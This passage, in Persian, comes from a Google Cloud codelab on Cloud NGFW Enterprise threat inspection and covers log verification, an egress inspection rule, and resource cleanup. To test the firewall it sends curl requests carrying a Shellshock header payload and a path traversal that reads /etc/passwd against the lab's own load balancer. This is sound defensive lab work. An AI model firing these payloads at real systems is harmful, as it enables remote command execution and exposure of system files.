برای تأیید گزارش‌ها، به Network Security > Threats در Cloud Console بروید (اگر حملات هنوز نمایش داده نشده‌اند، ممکن است لازم باشد چند بار آن‌ها را به‌روزرسانی کنید).

daa535fcc34873aa.png

یکی از حملات را انتخاب کنید و روی «مشاهده گزارش حسابرسی» در سمت راست کلیک کنید (برای بازگشت آسان، آن را در یک برگه جدید باز کنید). حمله را گسترش دهید تا جزئیات آن نمایش داده شود:

5f97cdef79e42eff.png

به صورت اختیاری، فیلتر Log Explorer را با پرس و جوی زیر جایگزین کنید:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

ورودی‌های گزارش تهدید باید مطابق شکل زیر مشاهده شوند:

5ea9581a7eb694c5.png

بسته‌های رهگیری‌شده توسط فایروال ابری را می‌توان با استفاده از فیلتر Log Explorer زیر تأیید کرد (که برای عیب‌یابی مفید است):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

به بازرسی ترافیک اینترنت (اختیاری) ادامه دهید یا جلسه SSH را ببندید و برای مراحل پاکسازی به فصل بعدی بروید.

[اختیاری] بازرسی ترافیک اینترنت

همانطور که در بخش قبل تأیید شد، جریان‌های بررسی‌شده تاکنون شامل ترافیک درون‌زیرشبکه/VPC (شرق-غرب) و ترافیک ورودی از اینترنت (ورودی شمال-جنوب) بوده‌اند. Cloud NGFW Enterprise همچنین می‌تواند طوری پیکربندی شود که با ایجاد یک قانون خروجی جدید با استفاده از Cloud Shell، تمام ترافیک اینترنت (خروجی شمال-جنوب) را بررسی کند:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

به ماشین مجازی کلاینت برگردید و حملات با شدت بالا را به IP سرور خارجی دوباره ارسال کنید:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

خروجی مورد انتظار:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

برای تأیید گزارش‌ها، به برگه تهدیدها در کنسول ابری بروید (ممکن است لازم باشد چند بار صفحه را به‌روزرسانی کنید). حملات باید شناسایی و دوباره ثبت می‌شدند، اما اکنون IP منبع داخلی است زیرا ابتدا یک قانون خروج فعال می‌شود:

36f8edf264dcddcd.png

جلسه SSH را ببندید و برای مراحل پاکسازی به بخش بعدی بروید.

۸. مراحل پاکسازی

پاکسازی اجزای سازمانی فایروال نسل بعدی ابر (Cloud NGFW)

فهرست انجمن‌های سازمانی Cloud NGFW موجود:

gcloud network-security firewall-endpoint-associations list

انجمن Cloud NGFW Enterprise را حذف کنید:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

فهرست نقاط پایانی Cloud NGFW Enterprise موجود:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

حذف نقطه پایانی Cloud NGFW Enterprise، که می‌تواند حدود 20 دقیقه طول بکشد:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

با اجرای دستور زیر تأیید کنید که Cloud NGFW Enterprise حذف شده است:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

گروه پروفایل امنیتی و پروفایل پیشگیری از تهدید را حذف کنید:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

تمیز کردن تنظیمات پایه

اگر ترجیح می‌دهید منابع پایه را حذف کنید، به مرحله بعدی بروید.

در صورت نیاز، متغیرهای محیطی را تعریف کنید. از Cloud Shell، اجزای Network Load Balancer را حذف کنید:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

حذف موارد:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

در صورت تغییر نقش‌های tagAdmin و tagUsers، به صورت اختیاری، مراحل زیر را انجام دهید:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

حذف کلید و مقادیر Tag:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

خط‌مشی شبکه و ارتباط فایروال ابری را حذف کنید:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

حذف روتر ابری و NAT ابری:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

حذف آدرس‌های IP رزرو شده:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

در نهایت، زیرشبکه و شبکه VPC را حذف کنید:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

۹. تبریک می‌گویم!

تبریک می‌گوییم، شما با موفقیت دوره Cloud NGFW Enterprise را برای آزمایشگاه کد East-West and North-South Inspection به پایان رساندید.